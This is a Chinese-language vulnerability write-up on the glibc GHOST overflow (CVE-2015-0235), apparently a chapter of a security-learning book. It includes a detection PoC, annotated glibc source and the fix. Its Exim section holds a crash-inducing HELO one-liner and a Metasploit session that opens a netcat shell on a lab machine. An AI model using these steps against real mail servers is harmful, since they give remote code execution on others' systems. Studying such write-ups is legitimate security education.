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533 lines
19 KiB
Markdown
533 lines
19 KiB
Markdown
# 7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow
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- [漏洞描述](#漏洞描述)
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- [漏洞复现](#漏洞复现)
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- [漏洞分析](#漏洞分析)
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- [Exim expolit](#exim-exploit)
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.2_glibc_2015-0235)
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## 漏洞描述
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glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出，可以通过 `gethostbyname*()` 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
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## 漏洞复现
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| |推荐使用的环境 | 备注 |
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| --- | --- | --- |
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| 操作系统 | Ubuntu 12.04 | 体系结构：64 位 |
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| 调试器 | gdb-peda| 版本号：7.4 |
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| 漏洞软件 | glibc | 版本号：2.15 |
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| 受影响软件 | Exim4 | 版本号：4.80 |
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通过下面的 PoC 可以知道自己的系统是否受到影响：
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```c
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#include <netdb.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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#define CANARY "in_the_coal_mine"
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struct {
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char buffer[1024];
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char canary[sizeof(CANARY)];
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} temp = { "buffer", CANARY };
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int main(void) {
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struct hostent resbuf;
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struct hostent *result;
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int herrno;
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int retval;
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/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
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size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
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char name[sizeof(temp.buffer)];
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memset(name, '0', len);
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name[len] = '\0';
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retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
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if (strcmp(temp.canary, CANARY) != 0) {
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puts("vulnerable");
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exit(EXIT_SUCCESS);
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}
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if (retval == ERANGE) {
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puts("not vulnerable");
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exit(EXIT_SUCCESS);
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}
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puts("should not happen");
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exit(EXIT_FAILURE);
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}
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```
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```
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$ file /lib/x86_64-linux-gnu/libc-2.15.so
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/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
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$ gcc -g poc.c
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$ ./a.out
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vulnerable
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```
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很明显是存在漏洞的。简单解释一下 PoC，在栈上布置一个区域 temp，由 buffer 和 canary 组成，然后初始化一个 name，最后执行函数 gethostbyname_r()，正常情况下，当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时，会正好覆盖缓冲区且没有溢出。然而，实际情况并不是这样。
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函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下：
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```c
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struct hostent {
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char *h_name; /* official name of host */
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char **h_aliases; /* alias list */
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int h_addrtype; /* host address type */
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int h_length; /* length of address */
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char **h_addr_list; /* list of addresses */
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}
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#define h_addr h_addr_list[0] /* for backward compatibility */
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int gethostbyname_r(const char *name,
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struct hostent *ret, char *buf, size_t buflen,
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struct hostent **result, int *h_errnop);
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```
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- `name`：网页的 host 名称
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- `ret`：成功时用于存储结果
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- `buf`：临时缓冲区，存储过程中的各种信息
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- `buflen`：缓冲区大小
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- `result`：成功时指向 ret
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- `h_errnop`：存储错误码
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执行前：
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```
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gdb-peda$ x/6gx temp.buffer
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0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
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0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
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0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
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gdb-peda$ x/20gx temp.canary-0x10
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0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
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0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
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0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
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```
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执行后：
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```
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gdb-peda$ x/6gx temp.buffer
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0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
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0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
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0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
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gdb-peda$ x/6gx temp.canary-0x10
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0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
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0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
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0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
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```
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canary 被覆盖了 8 个字节，即溢出了 8 个字节。
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## 漏洞分析
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```
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grep -irF '__nss_hostname_digits_dots' ./*
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./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
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./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
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[...]
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./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
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./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
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./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
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./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
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```
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通过搜索漏洞函数我们发现，函数是从 glibc-2.2.2 开始引入的，且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用，且需要 `HANDLE_DIGITS_DOTS` 被定义：
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```c
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// inet/gethstbynm.c
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#define NEED_H_ERRNO 1
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// nss/getXXbyYY_r.c
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#ifdef HANDLE_DIGITS_DOTS
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if (buffer != NULL)
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{
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if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
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&buffer_size, 0, &result, NULL, AF_VAL,
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H_ERRNO_VAR_P))
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goto done;
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}
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#endif
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```
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具体程序如下（来自glibc-2.17）：
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```c
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// nss/digits_dots.c
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int
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__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
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char **buffer, size_t *buffer_size,
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size_t buflen, struct hostent **result,
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enum nss_status *status, int af, int *h_errnop)
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{
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[...]
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if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
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{
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const char *cp;
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char *hostname;
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typedef unsigned char host_addr_t[16];
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host_addr_t *host_addr;
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typedef char *host_addr_list_t[2];
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host_addr_list_t *h_addr_ptrs;
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char **h_alias_ptr;
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size_t size_needed;
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[...]
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// size_needed 决定了缓冲区的大小，即 *host_addr+*h_addr_ptrs+name+1 （1存储结尾的'\0'）
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size_needed = (sizeof (*host_addr)
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+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
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if (buffer_size == NULL) // 重入分支
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{
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if (buflen < size_needed)
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{
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[...]
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goto done;
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}
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}
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else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
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{
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char *new_buf;
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*buffer_size = size_needed;
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new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区，以保证其足够大
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if (new_buf == NULL)
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{
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[...]
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goto done;
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}
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*buffer = new_buf;
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}
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[...]
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// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
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// 与缓冲区相差了一个 h_alias_ptr，64 位下为 8 字节
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host_addr = (host_addr_t *) *buffer;
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h_addr_ptrs = (host_addr_list_t *)
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((char *) host_addr + sizeof (*host_addr));
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h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
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hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
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if (isdigit (name[0]))
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{
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for (cp = name;; ++cp)
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{
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if (*cp == '\0')
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{
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int ok;
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if (*--cp == '.')
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break;
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[...]
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if (af == AF_INET)
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ok = __inet_aton (name, (struct in_addr *) host_addr);
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else
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{
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assert (af == AF_INET6);
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ok = inet_pton (af, name, host_addr) > 0;
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}
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if (! ok)
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{
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[...]
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goto done;
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}
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resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname，触发缓冲区溢出
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[...]
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goto done;
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}
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if (!isdigit (*cp) && *cp != '.')
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break;
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}
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}
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```
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注释已经在代码中了，也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞，需要满足下面几个条件：
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- name 的第一个字符必须是数字
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- name 的最后一个字符不能是 "."
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- name 的所有字符只能是数字或者 "."
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- 必须是 IPv4 地址且必须是这些格式中的一种："a.b.c.d"，"a.b.c"，"a"，且 a,b,c,d 均不能超过无符号整数的最大值，即 0xffffffff
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对比一下 glibc-2.18 的代码，也就是把 h_alias\_ptr 的长度加上了，问题完美解决：
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```c
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size_needed = (sizeof (*host_addr)
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+ sizeof (*h_addr_ptrs)
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+ sizeof (*h_alias_ptr) + strlen (name) + 1);
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```
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#### Exim exploit
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```
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$ sudo apt-get install libpcre3-dev
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$ git clone https://github.com/Exim/exim.git
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$ cd exim/src
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$ git checkout exim-4_80
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$ mkdir Local
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$ cp src/EDITME Local/Makefile
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$ #修改 Makefile 中的 EXIM_USER=你的用户名
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$ #注释掉 EXIM_MONITOR=eximon.bin
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$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
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$ make && sudo make install
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```
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最后为了能够调用 `smtp_verify_helo()`，在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`：
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```
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acl_smtp_mail = MAIN_ACL_CHECK_MAIL
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helo_try_verify_hosts = *
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```
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更新并重启软件即可：
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```
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$ update-exim4.conf
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$ exim4 -bP | grep helo_try
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helo_try_verify_hosts = *
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$ sudo /etc/init.d/exim4 stop
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$ sudo /usr/exim/bin/exim -bdf -d+all
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```
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这样就把程序以 debug 模式开启了，之后的所有操作都会被打印出来，方便观察。还是为了方便（懒），后续的所有操作都只在本地执行。
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先简单地看一下 Exim 处理 HELO 命令的过程，在另一个 shell 里，使用 telenet 连接上 Exim，根据前面的限制条件随便输入点什么：
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```
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$ telnet 127.0.0.1 25
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Trying 127.0.0.1...
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Connected to 127.0.0.1.
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Escape character is '^]'.
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220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
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HELO 0123456789
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250 firmy-VirtualBox Hello localhost [127.0.0.1]
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^CConnection closed by foreign host.
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firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
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Trying 127.0.0.1...
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Connected to 127.0.0.1.
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Escape character is '^]'.
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220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
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HELO 0123456789
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250 firmy-VirtualBox Hello localhost [127.0.0.1]
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```
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结果如下：
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```
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17:00:47 5577 Process 5577 is ready for new message
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17:00:47 5577 smtp_setup_msg entered
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17:00:55 5577 SMTP<< HELO 0123456789
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17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
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17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
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17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
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17:00:55 5577 verifying EHLO/HELO argument "0123456789"
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17:00:55 5577 getting IP address for 0123456789
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17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
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17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
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17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
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17:00:55 5577 LOG: host_lookup_failed MAIN
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17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
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17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
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17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
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```
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可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下：[github](https://github.com/Exim/exim/tree/exim-4_80)
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```c
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// src/src/smtp_in.c
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int
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smtp_setup_msg(void)
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{
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[...]
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while (done <= 0)
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{
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[...]
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switch(smtp_read_command(TRUE))
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{
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[...]
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case HELO_CMD:
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HAD(SCH_HELO);
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hello = US"HELO";
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esmtp = FALSE;
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goto HELO_EHLO;
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case EHLO_CMD:
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HAD(SCH_EHLO);
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hello = US"EHLO";
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esmtp = TRUE;
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// 当 SMTP 命令为 HELO 或 EHLO 时，执行下面的过程
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HELO_EHLO: /* Common code for HELO and EHLO */
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cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
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cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
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/* Reject the HELO if its argument was invalid or non-existent. A
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successful check causes the argument to be saved in malloc store. */
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if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
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{
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[...]
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break;
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}
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[...]
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helo_verified = helo_verify_failed = FALSE;
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if (helo_required || helo_verify)
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{
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BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
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if (!helo_verified)
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{
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if (helo_required)
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{
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[...]
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}
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HDEBUG(D_all) debug_printf("%s verification failed but host is in "
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"helo_try_verify_hosts\n", hello);
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}
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}
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```
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继续看函数 `smtp_verify_helo()`：
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```c
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// src/src/smtp_in.c
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BOOL
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smtp_verify_helo(void)
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{
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[...]
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if (!helo_verified)
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{
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int rc;
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host_item h;
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h.name = sender_helo_name;
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h.address = NULL;
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h.mx = MX_NONE;
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h.next = NULL;
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HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
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sender_helo_name);
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rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
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if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
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[....]
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}
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}
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```
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```c
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// src/src/host.c
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int
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host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
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uschar **fully_qualified_name, BOOL local_host_check)
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{
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[...]
|
||
for (i = 1; i <= times;
|
||
#if HAVE_IPV6
|
||
af = AF_INET, /* If 2 passes, IPv4 on the second */
|
||
#endif
|
||
i++)
|
||
{
|
||
[...]
|
||
#if HAVE_IPV6
|
||
if (running_in_test_harness)
|
||
hostdata = host_fake_gethostbyname(host->name, af, &error_num);
|
||
else
|
||
{
|
||
#if HAVE_GETIPNODEBYNAME
|
||
hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
|
||
#else
|
||
hostdata = gethostbyname2(CS host->name, af);
|
||
error_num = h_errno;
|
||
#endif
|
||
}
|
||
|
||
#else /* not HAVE_IPV6 */
|
||
if (running_in_test_harness)
|
||
hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
|
||
else
|
||
{
|
||
hostdata = gethostbyname(CS host->name);
|
||
error_num = h_errno;
|
||
}
|
||
#endif /* HAVE_IPV6 */
|
||
```
|
||
函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理，也就是在这里可以触发漏洞函数。
|
||
|
||
这一次我们输入这样的一串字符，即可导致溢出：
|
||
```
|
||
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
|
||
```
|
||
但是程序可能还是正常在运行的，我们多输入执行几次就会触发漏洞，发生段错误，连接被断开。
|
||
```
|
||
Connection closed by foreign host.
|
||
```
|
||
```
|
||
$ dmesg | grep exim
|
||
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
|
||
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
|
||
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
|
||
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
|
||
```
|
||
|
||
其实对于 Exim 的攻击已经集成到了 Metasploit 框架中，我们来尝试一下，正好学习一下这个强大的框架，仿佛自己也可以搞渗透测试。先关掉debug模式的程序，重新以正常的样子打开：
|
||
```
|
||
$ /etc/init.d/exim4 restart
|
||
```
|
||
```
|
||
msf > search exim
|
||
|
||
Matching Modules
|
||
================
|
||
|
||
Name Disclosure Date Rank Description
|
||
---- --------------- ---- -----------
|
||
exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
|
||
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
|
||
exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
|
||
exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
|
||
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
|
||
|
||
|
||
msf > use exploit/linux/smtp/exim_gethostbyname_bof
|
||
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
|
||
RHOST => 127.0.0.1
|
||
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
|
||
SENDER_HOST_ADDRESS => 127.0.0.1
|
||
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
|
||
payload => cmd/unix/bind_netcat
|
||
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
|
||
|
||
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
RHOST 127.0.0.1 yes The target address
|
||
RPORT 25 yes The target port (TCP)
|
||
SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
|
||
|
||
|
||
Payload options (cmd/unix/bind_netcat):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
LPORT 4444 yes The listen port
|
||
RHOST 127.0.0.1 no The target address
|
||
|
||
|
||
Exploit target:
|
||
|
||
Id Name
|
||
-- ----
|
||
0 Automatic
|
||
|
||
|
||
msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
|
||
|
||
[*] Started bind handler
|
||
[*] 127.0.0.1:25 - Checking if target is vulnerable...
|
||
[+] 127.0.0.1:25 - Target is vulnerable.
|
||
[*] 127.0.0.1:25 - Trying information leak...
|
||
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
|
||
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
|
||
[*] 127.0.0.1:25 - Trying code execution...
|
||
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
|
||
[+] 127.0.0.1:25 - Brute-force SUCCESS
|
||
[+] 127.0.0.1:25 - Please wait for reply...
|
||
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
|
||
|
||
whoami
|
||
Debian-exim
|
||
id
|
||
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
|
||
```
|
||
Bingo!!!成功获得了一个反弹 shell。
|
||
|
||
对于该脚本到底是怎么做到的，本人水平有限，还有待分析。。。
|
||
|
||
|
||
## 参考资料
|
||
- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
|
||
- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9)
|
||
- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/)
|
||
- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)
|